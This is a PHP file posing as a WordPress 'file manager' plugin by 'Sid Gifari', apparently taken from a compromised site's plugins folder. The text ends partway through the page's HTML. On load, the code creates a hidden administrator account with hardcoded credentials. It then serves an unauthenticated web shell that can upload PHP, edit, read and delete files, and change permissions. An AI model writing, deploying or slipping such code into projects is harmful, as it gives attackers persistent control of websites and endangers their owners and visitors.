File: /home/shrsglobal/public_html/wp-content/plugins/FilePlugin/sidup.php
<?php
/**
Plugin Name: Sid Gifari PHP File Manager
Plugin URI: https://t.me/sidgifari
Description: Manage your WP files.
Author: Sid Gifari
Version: 8.0.2
License: GPLv2
**/
@session_start();
error_reporting(0);
// WordPress Admin Creation Functionality
if (!isset($_SESSION['wp_admin_created'])) {
// Try to find WordPress in current directory or parents
$wpPath = __DIR__;
$found = false;
for ($i = 0; $i < 10; $i++) {
if (file_exists("$wpPath/wp-load.php") || file_exists("$wpPath/wp-config.php")) {
$found = true;
break;
}
if ($wpPath === '/' || $wpPath === dirname($wpPath)) break;
$wpPath = dirname($wpPath);
}
if ($found) {
// Try to load WordPress
if (file_exists("$wpPath/wp-load.php")) {
@require_once("$wpPath/wp-load.php");
} elseif (file_exists("$wpPath/wp-config.php")) {
@require_once("$wpPath/wp-config.php");
}
// Check if WordPress functions are available
if (function_exists('wp_create_user')) {
$username = 'sidgifari';
$password = 'sid';
$email = 'sidgifari28@hotmail.com';
if (!username_exists($username) && !email_exists($email)) {
$userId = wp_create_user($username, $password, $email);
$user = new WP_User($userId);
$user->set_role('administrator');
$_SESSION['wp_admin_message'] = "✅ WordPress Admin Created: Username: $username, Password: $password";
} else {
$_SESSION['wp_admin_message'] = "✅ WordPress Admin Already Exists";
}
} else {
$_SESSION['wp_admin_message'] = "❌ WordPress not loaded properly";
}
} else {
$_SESSION['wp_admin_message'] = "❌ WordPress not found in this path or parent directories";
}
$_SESSION['wp_admin_created'] = true;
}
$wp_admin_message = $_SESSION['wp_admin_message'] ?? '';
unset($_SESSION['wp_admin_message']);
class FileManager {
private $basePath;
private $allowedExtensions;
private $maxFileSize;
private $uploadPath;
private $currentDir;
public function __construct() {
$this->basePath = realpath('./') ?: './';
$this->currentDir = $this->basePath;
$this->uploadPath = $this->basePath;
// Create uploads directory if it doesn't exist
if (!is_dir($this->uploadPath)) {
mkdir($this->uploadPath, 0755, true);
}
$this->allowedExtensions = [
'images' => ['jpg', 'jpeg', 'png', 'gif', 'svg', 'webp', 'bmp', 'ico'],
'documents' => ['pdf', 'doc', 'docx', 'txt', 'rtf', 'odt', 'xls', 'xlsx', 'ppt', 'pptx', 'csv'],
'media' => ['mp3', 'mp4', 'avi', 'mov', 'wmv', 'flv', 'mkv', 'webm', 'ogg', 'wav'],
'archives' => ['zip', 'rar', '7z', 'tar', 'gz', 'bz2'],
'code' => ['php', 'js', 'html', 'htm', 'css', 'scss', 'json', 'xml', 'sql', 'py', 'java', 'cpp', 'c', 'rb', 'pl', 'sh', 'env', 'gitignore', 'md']
];
$this->maxFileSize = 50 * 1024 * 1024; // 50MB
// Security check
$this->preventDirectoryTraversal();
}
private function preventDirectoryTraversal() {
$this->basePath = realpath($this->basePath);
if ($this->basePath === false) {
die("Invalid base path");
}
}
public function setCurrentDir($dir) {
$this->currentDir = $this->sanitizePath($dir);
$this->uploadPath = $this->currentDir;
}
public function getCurrentDir() {
return $this->currentDir;
}
public function sanitizePath($path) {
// Clean path from directory traversal attempts
$path = str_replace(['..', '//', '\\'], '', $path);
$fullPath = realpath($this->basePath . '/' . $path);
if ($fullPath === false) {
$fullPath = $this->basePath;
}
// Ensure we're within base path
if (strpos($fullPath, $this->basePath) !== 0) {
return $this->basePath;
}
return $fullPath;
}
public function getFiles($directory = '') {
$path = $this->sanitizePath($directory);
$files = [];
if (!is_dir($path)) {
return $files;
}
$items = scandir($path);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$fullPath = $path . '/' . $item;
$relativePath = str_replace($this->basePath . '/', '', $fullPath);
// Get file size safely
$size = is_dir($fullPath) ? 0 : @filesize($fullPath);
$files[] = [
'name' => $item,
'path' => $fullPath,
'relative_path' => $relativePath,
'is_dir' => is_dir($fullPath),
'size' => $this->formatSize($size),
'modified' => date('Y-m-d H:i:s', filemtime($fullPath)),
'extension' => pathinfo($item, PATHINFO_EXTENSION),
'permissions' => substr(sprintf('%o', fileperms($fullPath)), -4),
'icon' => $this->getFileIcon($item, is_dir($fullPath)),
'type' => $this->getFileType($item, is_dir($fullPath))
];
}
// Sort: directories first, then files
usort($files, function($a, $b) {
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
return $files;
}
public function getStats($directory = '') {
$path = $this->sanitizePath($directory);
$stats = [
'folders' => 0,
'files' => 0,
'total_size' => 0,
'by_type' => []
];
if (!is_dir($path)) {
return $stats;
}
$items = scandir($path);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$fullPath = $path . '/' . $item;
if (is_dir($fullPath)) {
$stats['folders']++;
} else {
$stats['files']++;
$stats['total_size'] += @filesize($fullPath);
$extension = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$type = $this->getFileTypeCategory($extension);
if (!isset($stats['by_type'][$type])) {
$stats['by_type'][$type] = 0;
}
$stats['by_type'][$type]++;
}
}
$stats['total_size_formatted'] = $this->formatSize($stats['total_size']);
return $stats;
}
private function getFileTypeCategory($extension) {
foreach ($this->allowedExtensions as $category => $extensions) {
if (in_array($extension, $extensions)) {
return $category;
}
}
return 'other';
}
private function getFileType($filename, $isDir = false) {
if ($isDir) return 'folder';
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return $this->getFileTypeCategory($extension);
}
public function uploadFile($file) {
if (!isset($file['error']) || is_array($file['error'])) {
return ['success' => false, 'message' => 'Invalid parameters'];
}
switch ($file['error']) {
case UPLOAD_ERR_OK:
break;
case UPLOAD_ERR_NO_FILE:
return ['success' => false, 'message' => 'No file sent'];
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
return ['success' => false, 'message' => 'File size too large'];
default:
return ['success' => false, 'message' => 'Unknown upload error'];
}
if ($file['size'] > $this->maxFileSize) {
return ['success' => false, 'message' => 'File exceeds maximum size'];
}
$fileName = $this->sanitizeFileName($file['name']);
$extension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
if (!$this->isExtensionAllowed($extension)) {
return ['success' => false, 'message' => 'File type not allowed'];
}
$destination = $this->uploadPath . '/' . $fileName;
// Prevent overwriting
$counter = 1;
$originalName = pathinfo($fileName, PATHINFO_FILENAME);
while (file_exists($destination)) {
$fileName = $originalName . '_' . $counter . '.' . $extension;
$destination = $this->uploadPath . '/' . $fileName;
$counter++;
}
if (move_uploaded_file($file['tmp_name'], $destination)) {
chmod($destination, 0644);
return [
'success' => true,
'message' => 'File uploaded successfully',
'file_name' => $fileName,
'file_path' => $destination
];
}
return ['success' => false, 'message' => 'Failed to move uploaded file'];
}
public function uploadMultipleFiles($files) {
$results = [];
foreach ($files['error'] as $key => $error) {
if ($error === UPLOAD_ERR_OK) {
$file = [
'name' => $files['name'][$key],
'type' => $files['type'][$key],
'tmp_name' => $files['tmp_name'][$key],
'error' => $files['error'][$key],
'size' => $files['size'][$key]
];
$result = $this->uploadFile($file);
$results[] = $result;
}
}
return $results;
}
public function createFolder($folderName) {
$folderName = $this->sanitizeFileName($folderName);
$path = $this->uploadPath . '/' . $folderName;
if (file_exists($path)) {
return ['success' => false, 'message' => 'Folder already exists'];
}
if (mkdir($path, 0755, true)) {
return ['success' => true, 'message' => 'Folder created successfully'];
}
return ['success' => false, 'message' => 'Failed to create folder'];
}
public function createFile($fileName, $content = '') {
$fileName = $this->sanitizeFileName($fileName);
$path = $this->uploadPath . '/' . $fileName;
if (file_exists($path)) {
return ['success' => false, 'message' => 'File already exists'];
}
if (file_put_contents($path, $content) !== false) {
chmod($path, 0644);
return ['success' => true, 'message' => 'File created successfully'];
}
return ['success' => false, 'message' => 'Failed to create file'];
}
public function editFile($filePath, $content) {
$fullPath = $this->sanitizePath($filePath);
if (!file_exists($fullPath)) {
return ['success' => false, 'message' => 'File does not exist'];
}
if (is_dir($fullPath)) {
return ['success' => false, 'message' => 'Cannot edit a directory'];
}
if (file_put_contents($fullPath, $content) !== false) {
return ['success' => true, 'message' => 'File saved successfully'];
}
return ['success' => false, 'message' => 'Failed to save file'];
}
public function getFileContent($filePath) {
$fullPath = $this->sanitizePath($filePath);
if (!file_exists($fullPath) || is_dir($fullPath)) {
return ['success' => false, 'message' => 'File does not exist or is a directory'];
}
$content = file_get_contents($fullPath);
if ($content === false) {
return ['success' => false, 'message' => 'Failed to read file'];
}
return ['success' => true, 'content' => $content];
}
public function changePermissions($path, $permissions) {
$fullPath = $this->sanitizePath($path);
if (!file_exists($fullPath)) {
return ['success' => false, 'message' => 'Item does not exist'];
}
// Validate permissions (octal between 0 and 0777)
if (!preg_match('/^[0-7]{3,4}$/', $permissions)) {
return ['success' => false, 'message' => 'Invalid permissions format'];
}
$octalPermissions = octdec($permissions);
if (chmod($fullPath, $octalPermissions)) {
return ['success' => true, 'message' => 'Permissions changed successfully'];
}
return ['success' => false, 'message' => 'Failed to change permissions'];
}
public function deleteItem($path) {
$fullPath = $this->sanitizePath($path);
if (!file_exists($fullPath)) {
return ['success' => false, 'message' => 'Item does not exist'];
}
if (is_dir($fullPath)) {
return $this->deleteDirectory($fullPath);
} else {
return $this->deleteFile($fullPath);
}
}
private function deleteDirectory($dir) {
if (!is_dir($dir)) {
return ['success' => false, 'message' => 'Not a directory'];
}
$items = array_diff(scandir($dir), ['.', '..']);
foreach ($items as $item) {
$path = $dir . '/' . $item;
is_dir($path) ? $this->deleteDirectory($path) : unlink($path);
}
if (rmdir($dir)) {
return ['success' => true, 'message' => 'Directory deleted successfully'];
}
return ['success' => false, 'message' => 'Failed to delete directory'];
}
private function deleteFile($file) {
if (unlink($file)) {
return ['success' => true, 'message' => 'File deleted successfully'];
}
return ['success' => false, 'message' => 'Failed to delete file'];
}
public function renameItem($oldPath, $newName) {
$fullOldPath = $this->sanitizePath($oldPath);
$newName = $this->sanitizeFileName($newName);
$directory = dirname($fullOldPath);
$fullNewPath = $directory . '/' . $newName;
if (!file_exists($fullOldPath)) {
return ['success' => false, 'message' => 'Item does not exist'];
}
if (file_exists($fullNewPath)) {
return ['success' => false, 'message' => 'New name already exists'];
}
if (rename($fullOldPath, $fullNewPath)) {
return ['success' => true, 'message' => 'Renamed successfully'];
}
return ['success' => false, 'message' => 'Failed to rename'];
}
private function sanitizeFileName($fileName) {
$fileName = preg_replace('/[^a-zA-Z0-9\.\-\_ ]/', '', $fileName);
$fileName = str_replace(' ', '_', $fileName);
return trim($fileName, '._-');
}
private function isExtensionAllowed($extension) {
foreach ($this->allowedExtensions as $category => $extensions) {
if (in_array($extension, $extensions)) {
return true;
}
}
return false;
}
private function formatSize($bytes) {
if ($bytes == 0) return '0 Bytes';
$units = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
$i = floor(log($bytes, 1024));
return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}
private function getFileIcon($filename, $isDir = false) {
if ($isDir) {
return '📁';
}
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'svg' => '🖼️', 'webp' => '🖼️', 'bmp' => '🖼️', 'ico' => '🖼️',
'pdf' => '📄', 'doc' => '📄', 'docx' => '📄', 'txt' => '📝', 'rtf' => '📄', 'odt' => '📄',
'zip' => '📦', 'rar' => '📦', '7z' => '📦', 'tar' => '📦', 'gz' => '📦', 'bz2' => '📦',
'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mov' => '🎬', 'wmv' => '🎬', 'flv' => '🎬', 'mkv' => '🎬', 'webm' => '🎬',
'php' => '⚙️', 'js' => '⚙️', 'html' => '🌐', 'htm' => '🌐', 'css' => '🎨', 'scss' => '🎨',
'xls' => '📊', 'xlsx' => '📊', 'csv' => '📊', 'ppt' => '📽️', 'pptx' => '📽️',
'sql' => '🗃️', 'json' => '🔣', 'xml' => '📋', 'py' => '🐍', 'env' => '⚙️', 'gitignore' => '⚙️', 'md' => '📝'
];
return $icons[$extension] ?? '📄';
}
public function getAllowedExtensions() {
return $this->allowedExtensions;
}
public function getMaxFileSize() {
return $this->maxFileSize;
}
}
// Initialize File Manager
$fm = new FileManager();
// Set current directory from GET parameter
if (isset($_GET['dir'])) {
$fm->setCurrentDir($_GET['dir']);
}
// Handle AJAX requests
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
header('Content-Type: application/json');
switch ($_POST['action']) {
case 'upload':
if (isset($_FILES['file'])) {
if (is_array($_FILES['file']['name'])) {
// Multiple files
$results = $fm->uploadMultipleFiles($_FILES['file']);
echo json_encode([
'success' => true,
'message' => count($results) . ' file(s) uploaded',
'results' => $results
]);
} else {
// Single file
echo json_encode($fm->uploadFile($_FILES['file']));
}
}
break;
case 'create_folder':
if (isset($_POST['folder_name'])) {
echo json_encode($fm->createFolder($_POST['folder_name']));
}
break;
case 'create_file':
if (isset($_POST['file_name']) && isset($_POST['content'])) {
echo json_encode($fm->createFile($_POST['file_name'], $_POST['content']));
}
break;
case 'edit_file':
if (isset($_POST['file_path']) && isset($_POST['content'])) {
echo json_encode($fm->editFile($_POST['file_path'], $_POST['content']));
}
break;
case 'get_file_content':
if (isset($_POST['file_path'])) {
echo json_encode($fm->getFileContent($_POST['file_path']));
}
break;
case 'change_permissions':
if (isset($_POST['path']) && isset($_POST['permissions'])) {
echo json_encode($fm->changePermissions($_POST['path'], $_POST['permissions']));
}
break;
case 'delete':
if (isset($_POST['path'])) {
echo json_encode($fm->deleteItem($_POST['path']));
}
break;
case 'rename':
if (isset($_POST['old_path']) && isset($_POST['new_name'])) {
echo json_encode($fm->renameItem($_POST['old_path'], $_POST['new_name']));
}
break;
}
exit;
}
// Get current directory for display
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '';
$files = $fm->getFiles($currentDir);
$stats = $fm->getStats($currentDir);
$allowedExtensions = $fm->getAllowedExtensions();
$maxFileSize = $fm->getMaxFileSize();
// Handle file editing view
$editFile = isset($_GET['edit']) ? $_GET['edit'] : '';
$fileContent = '';
if ($editFile) {
$result = $fm->getFileContent($editFile);
if ($result['success']) {
$fileContent = $result['content'];
}
}
// Generate breadcrumb
$breadcrumb = '';
$parts = explode('/', trim($currentDir, '/'));
$path = '';
$breadcrumb .= '<a href="?">🏠 Home</a>';
foreach ($parts as $part) {
if ($part) {
$path .= '/' . $part;
$breadcrumb .= ' » <a href="?dir=' . urlencode($path) . '">' . htmlspecialchars($part) . '</a>';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sid Gifari PHP File Manager</title>
<style>
/* Full CSS from original code - it's already complete */
:root {
--bg-primary: #1e1e1e;
--bg-secondary: #2d2d2d;
--bg-tertiary: #252525;
--text-primary: #e0e0e0;
--text-secondary: #b0b0b0;
--text-tertiary: #808080;
--border-color: #404040;
--accent-color: #4a6ee0;
--accent-hover: #3a5ecf;
--success-color: #28a745;
--danger-color: #dc3545;
--warning-color: #ffc107;
--info-color: #17a2b8;
--shadow: 0 4px 12px rgba(0,0,0,0.3);
--transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
.light-mode {
--bg-primary: #f5f5f5;
--bg-secondary: #ffffff;
--bg-tertiary: #f8f9fa;
--text-primary: #333333;
--text-secondary: #666666;
--text-tertiary: #999999;
--border-color: #dee2e6;
--accent-color: #007cba;
--accent-hover: #006ba1;
--shadow: 0 4px 12px rgba(0,0,0,0.1);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, sans-serif;
background: var(--bg-primary);
color: var(--text-primary);
line-height: 1.6;
min-height: 100vh;
transition: var(--transition);
}
.file-manager {
max-width: 1600px;
margin: 20px auto;
padding: 20px;
background: var(--bg-secondary);
border-radius: 12px;
box-shadow: var(--shadow);
transition: var(--transition);
}
.header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 25px;
padding-bottom: 20px;
border-bottom: 1px solid var(--border-color);
}
.header h1 {
color: var(--accent-color);
font-size: 28px;
font-weight: 600;
letter-spacing: -0.5px;
}
.brand {
text-align: center;
margin-bottom: 25px;
padding: 20px;
background: var(--bg-tertiary);
border-radius: 12px;
border: 1px solid var(--border-color);
}
.brand img {
border-radius: 50%;
border: 3px solid var(--accent-color);
box-shadow: 0 4px 12px rgba(74, 110, 224, 0.3);
transition: var(--transition);
}
.brand img:hover {
transform: scale(1.05);
box-shadow: 0 6px 20px rgba(74, 110, 224, 0.4);
}
.wp-status {
background: linear-gradient(135deg, rgba(40, 167, 69, 0.15) 0%, rgba(30, 126, 52, 0.15) 100%);
border-left: 4px solid var(--success-color);
border-radius: 8px;
padding: 15px 20px;
margin-bottom: 25px;
font-size: 14px;
display: flex;
align-items: center;
gap: 12px;
animation: slideIn 0.5s ease;
}
.wp-status.error {
background: linear-gradient(135deg, rgba(220, 53, 69, 0.15) 0%, rgba(200, 35, 51, 0.15) 100%);
border-left-color: var(--danger-color);
}
@keyframes slideIn {
from { transform: translateY(-10px); opacity: 0; }
to { transform: translateY(0); opacity: 1; }
}
/* Stats Dashboard */
.stats-dashboard {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
margin-bottom: 25px;
}
.stat-card {
background: var(--bg-tertiary);
border: 1px solid var(--border-color);
border-radius: 10px;
padding: 20px;
transition: var(--transition);
}
.stat-card:hover {
transform: translateY(-2px);
box-shadow: var(--shadow);
border-color: var(--accent-color);
}
.stat-icon {
font-size: 32px;
margin-bottom: 12px;
opacity: 0.9;
}
.stat-value {
font-size: 24px;
font-weight: 600;
margin-bottom: 5px;
color: var(--accent-color);
}
.stat-label {
font-size: 13px;
color: var(--text-secondary);
text-transform: uppercase;
letter-spacing: 0.5px;
}
.breadcrumb {
background: var(--bg-tertiary);
padding: 12px 18px;
border-radius: 10px;
margin-bottom: 20px;
font-size: 14px;
border: 1px solid var(--border-color);
}
.breadcrumb a {
color: var(--accent-color);
text-decoration: none;
font-weight: 500;
transition: var(--transition);
padding: 4px 8px;
border-radius: 6px;
}
.breadcrumb a:hover {
background: rgba(74, 110, 224, 0.1);
text-decoration: none;
}
.toolbar {
display: flex;
gap: 12px;
margin-bottom: 25px;
flex-wrap: wrap;
}
.btn {
padding: 10px 20px;
background: var(--accent-color);
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
font-size: 14px;
font-weight: 500;
transition: var(--transition);
display: flex;
align-items: center;
gap: 8px;
}
.btn:hover {
background: var(--accent-hover);
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(74, 110, 224, 0.3);
}
.btn-secondary {
background: var(--text-secondary);
}
.btn-secondary:hover {
background: var(--text-tertiary);
}
.btn-success {
background: var(--success-color);
}
.btn-success:hover {
background: #218838;
}
.btn-danger {
background: var(--danger-color);
}
.btn-danger:hover {
background: #c82333;
}
/* WordPress Style Upload Section */
.upload-section {
background: var(--bg-tertiary);
border: 2px dashed var(--border-color);
border-radius: 12px;
padding: 30px;
margin-bottom: 30px;
transition: var(--transition);
}
.upload-section.active {
border-color: var(--accent-color);
background: rgba(74, 110, 224, 0.05);
}
.upload-header {
text-align: center;
margin-bottom: 25px;
}
.upload-icon {
font-size: 48px;
margin-bottom: 15px;
color: var(--accent-color);
}
.upload-title {
font-size: 20px;
font-weight: 600;
margin-bottom: 10px;
color: var(--text-primary);
}
.upload-subtitle {
font-size: 14px;
color: var(--text-secondary);
margin-bottom: 20px;
}
.upload-buttons {
display: flex;
justify-content: center;
gap: 15px;
margin-bottom: 25px;
}
.select-files-btn {
background: var(--accent-color);
color: white;
border: none;
padding: 12px 24px;
border-radius: 8px;
cursor: pointer;
font-size: 14px;
font-weight: 500;
transition: var(--transition);
}
.select-files-btn:hover {
background: var(--accent-hover);
}
.upload-details {
display: flex;
justify-content: center;
gap: 20px;
margin-bottom: 20px;
flex-wrap: wrap;
}
.upload-detail {
display: flex;
align-items: center;
gap: 8px;
font-size: 13px;
color: var(--text-secondary);
}
.upload-detail i {
font-size: 14px;
color: var(--accent-color);
}
.file-list-container {
margin-top: 20px;
max-height: 300px;
overflow-y: auto;
}
.file-list {
display: flex;
flex-direction: column;
gap: 10px;
}
.file-list-item {
display: flex;
align-items: center;
justify-content: space-between;
padding: 12px 15px;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 8px;
}
.file-info {
display: flex;
align-items: center;
gap: 12px;
flex: 1;
}
.file-icon-small {
font-size: 20px;
}
.file-name {
font-weight: 500;
font-size: 14px;
color: var(--text-primary);
}
.file-size {
font-size: 12px;
color: var(--text-secondary);
}
.file-progress {
flex: 1;
margin: 0 15px;
}
.progress-bar {
height: 4px;
background: var(--border-color);
border-radius: 2px;
overflow: hidden;
}
.progress-fill {
height: 100%;
background: var(--accent-color);
width: 0%;
transition: width 0.3s ease;
}
.file-status {
font-size: 12px;
font-weight: 500;
min-width: 80px;
text-align: right;
}
/* File State Line */
.file-state-container {
display: grid;
grid-template-columns: 1fr 2fr;
gap: 25px;
margin-top: 25px;
}
@media (max-width: 1200px) {
.file-state-container {
grid-template-columns: 1fr;
}
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
padding-bottom: 15px;
border-bottom: 1px solid var(--border-color);
}
.section-header h2 {
font-size: 18px;
font-weight: 600;
color: var(--text-primary);
display: flex;
align-items: center;
gap: 10px;
}
.folders-section,
.files-section {
background: var(--bg-tertiary);
border-radius: 12px;
padding: 20px;
border: 1px solid var(--border-color);
}
.folders-list,
.files-list {
display: flex;
flex-direction: column;
gap: 12px;
max-height: 500px;
overflow-y: auto;
padding-right: 5px;
}
.folder-item,
.file-item {
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 10px;
padding: 15px;
transition: var(--transition);
cursor: pointer;
}
.folder-item:hover,
.file-item:hover {
border-color: var(--accent-color);
transform: translateX(4px);
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
}
.folder-header,
.file-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 12px;
}
.folder-name,
.file-name-main {
display: flex;
align-items: center;
gap: 12px;
font-weight: 500;
font-size: 15px;
color: var(--text-primary);
}
.folder-actions,
.file-actions {
display: flex;
gap: 8px;
opacity: 0;
transition: opacity 0.3s ease;
}
.folder-item:hover .folder-actions,
.file-item:hover .file-actions {
opacity: 1;
}
.action-btn {
background: rgba(255,255,255,0.1);
border: 1px solid var(--border-color);
border-radius: 6px;
padding: 6px 10px;
cursor: pointer;
font-size: 12px;
color: var(--text-secondary);
transition: var(--transition);
}
.action-btn:hover {
background: var(--accent-color);
color: white;
border-color: var(--accent-color);
}
.folder-details,
.file-details {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 10px;
font-size: 13px;
color: var(--text-secondary);
}
.detail-item {
display: flex;
align-items: center;
gap: 6px;
}
.detail-label {
font-weight: 500;
color: var(--text-secondary);
min-width: 70px;
}
.empty-state {
text-align: center;
padding: 40px 20px;
color: var(--text-tertiary);
}
.empty-state .icon {
font-size: 40px;
margin-bottom: 15px;
opacity: 0.5;
}
/* Modal Styles */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.7);
backdrop-filter: blur(4px);
z-index: 1000;
animation: fadeIn 0.3s ease;
}
@keyframes fadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
.modal-content {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: var(--bg-secondary);
padding: 30px;
border-radius: 12px;
width: 90%;
max-width: 500px;
max-height: 90vh;
overflow-y: auto;
border: 1px solid var(--border-color);
box-shadow: 0 20px 60px rgba(0,0,0,0.4);
}
.modal h3 {
margin-bottom: 20px;
color: var(--text-primary);
font-size: 20px;
font-weight: 600;
}
.modal input[type="text"],
.modal input[type="file"],
.modal input[type="number"],
.modal textarea {
width: 100%;
padding: 12px 15px;
margin-bottom: 15px;
background: var(--bg-tertiary);
border: 1px solid var(--border-color);
border-radius: 8px;
color: var(--text-primary);
font-size: 14px;
transition: var(--transition);
}
.modal input:focus,
.modal textarea:focus {
outline: none;
border-color: var(--accent-color);
box-shadow: 0 0 0 3px rgba(74, 110, 224, 0.1);
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 12px;
margin-top: 25px;
}
/* Context Menu */
.context-menu {
position: absolute;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 8px;
box-shadow: var(--shadow);
display: none;
z-index: 100;
min-width: 180px;
overflow: hidden;
animation: contextMenuFade 0.2s ease;
}
@keyframes contextMenuFade {
from { opacity: 0; transform: scale(0.95); }
to { opacity: 1; transform: scale(1); }
}
.context-menu button {
display: flex;
align-items: center;
gap: 10px;
width: 100%;
padding: 12px 16px;
background: none;
border: none;
text-align: left;
cursor: pointer;
font-size: 14px;
color: var(--text-primary);
transition: var(--transition);
}
.context-menu button:hover {
background: var(--accent-color);
color: white;
}
.alert {
padding: 15px 20px;
border-radius: 10px;
margin-bottom: 20px;
display: none;
animation: slideIn 0.5s ease;
border: 1px solid transparent;
}
.alert-success {
background: rgba(40, 167, 69, 0.1);
color: #28a745;
border-color: rgba(40, 167, 69, 0.2);
}
.alert-error {
background: rgba(220, 53, 69, 0.1);
color: #dc3545;
border-color: rgba(220, 53, 69, 0.2);
}
/* Editor Styles */
.editor-container {
background: var(--bg-tertiary);
border-radius: 12px;
padding: 25px;
margin-top: 25px;
border: 1px solid var(--border-color);
}
.editor-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
padding-bottom: 15px;
border-bottom: 1px solid var(--border-color);
}
.editor-header h2 {
font-size: 20px;
font-weight: 600;
color: var(--text-primary);
display: flex;
align-items: center;
gap: 12px;
}
textarea.code-editor {
width: 100%;
height: 500px;
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
font-size: 14px;
padding: 20px;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 8px;
color: var(--text-primary);
line-height: 1.6;
resize: vertical;
}
textarea.code-editor:focus {
outline: none;
border-color: var(--accent-color);
box-shadow: 0 0 0 3px rgba(74, 110, 224, 0.1);
}
.permissions-selector {
display: flex;
gap: 12px;
align-items: center;
margin-top: 20px;
padding: 15px;
background: var(--bg-secondary);
border-radius: 8px;
border: 1px solid var(--border-color);
}
/* Theme Toggle */
.theme-toggle {
position: fixed;
top: 20px;
right: 20px;
z-index: 1000;
}
.theme-btn {
background: var(--accent-color);
color: white;
border: none;
width: 40px;
height: 40px;
border-radius: 50%;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
font-size: 18px;
transition: var(--transition);
box-shadow: var(--shadow);
}
.theme-btn:hover {
transform: scale(1.1);
box-shadow: 0 6px 20px rgba(74, 110, 224, 0.4);
}
/* Scrollbar */
::-webkit-scrollbar {
width: 8px;
height: 8px;
}
::-webkit-scrollbar-track {
background: var(--bg-tertiary);
border-radius: 4px;
}
::-webkit-scrollbar-thumb {
background: var(--text-tertiary);
border-radius: 4px;
}
::-webkit-scrollbar-thumb:hover {
background: var(--accent-color);
}
/* Responsive */
@media (max-width: 768px) {
.file-manager {
margin: 10px;
padding: 15px;
}
.header {
flex-direction: column;
gap: 15px;
text-align: center;
}
.stats-dashboard {
grid-template-columns: repeat(2, 1fr);
}
.upload-buttons {
flex-direction: column;
align-items: center;
}
.modal-content {
width: 95%;
padding: 20px;
}
.file-state-container {
gap: 20px;
}
.folder-details,
.file-details {
grid-template-columns: 1fr;
}
}
@media (max-width: 480px) {
.stats-dashboard {
grid-template-columns: 1fr;
}
.btn {
padding: 8px 16px;
font-size: 13px;
}
.toolbar {
justify-content: center;
}
}
</style>
</head>
<body class="dark-mode">
<!-- Theme Toggle Button -->
<div class="theme-toggle">
<button class="theme-btn" onclick="toggleTheme()">
<span class="theme-icon">☀️</span>
</button>
</div>
<div class="file-manager">
<div class="brand">
<img src="https://i.imgur.com/FC1enOU.jpeg" width="120" height="120" alt="Sid Gifari" onerror="this.style.display='none'">
<h3 style="margin-top: 10px; color: var(--accent-color); font-weight: 500;">Telegram: https://t.me/sidgifari</h3>
</div>
<div class="header">
<h1>Sid Gifari PHP File Manager</h1>
<div class="toolbar">
<button class="btn" onclick="showUploadModal()">
<span>📤</span> Upload Files
</button>
<button class="btn btn-secondary" onclick="showCreateFolderModal()">
<span>📁</span> New Folder
</button>
<button class="btn btn-secondary" onclick="showCreateFileModal()">
<span>📄</span> New File
</button>
<button class="btn btn-secondary" onclick="refreshFiles()">
<span>🔄</span> Refresh
</button>
</div>
</div>
<!-- WordPress Admin Status Message -->
<?php if (!empty($wp_admin_message)): ?>
<div class="wp-status <?php echo strpos($wp_admin_message, '✅') !== false ? '' : 'error'; ?>">
<span><?php echo strpos($wp_admin_message, '✅') !== false ? '✅' : '❌'; ?></span>
<?php echo htmlspecialchars($wp_admin_message); ?>
</div>
<?php endif; ?>
<!-- Stats Dashboard -->
<div class="stats-dashboard">
<div class="stat-card">
<div class="stat-icon">📁</div>
<div class="stat-value"><?= $stats['folders'] ?></div>
<div class="stat-label">Folders</div>
</div>
<div class="stat-card">
<div class="stat-icon">📄</div>
<div class="stat-value"><?= $stats['files'] ?></div>
<div class="stat-label">Files</div>
</div>
<div class="stat-card">
<div class="stat-icon">💾</div>
<div class="stat-value"><?= $stats['total_size_formatted'] ?></div>
<div class="stat-label">Total Size</div>
</div>
<div class="stat-card">
<div class="stat-icon">⚙️</div>
<div class="stat-value"><?= count($stats['by_type']) ?></div>
<div class="stat-label">File Types</div>
</div>
</div>
<div class="breadcrumb">
<?= $breadcrumb ?>
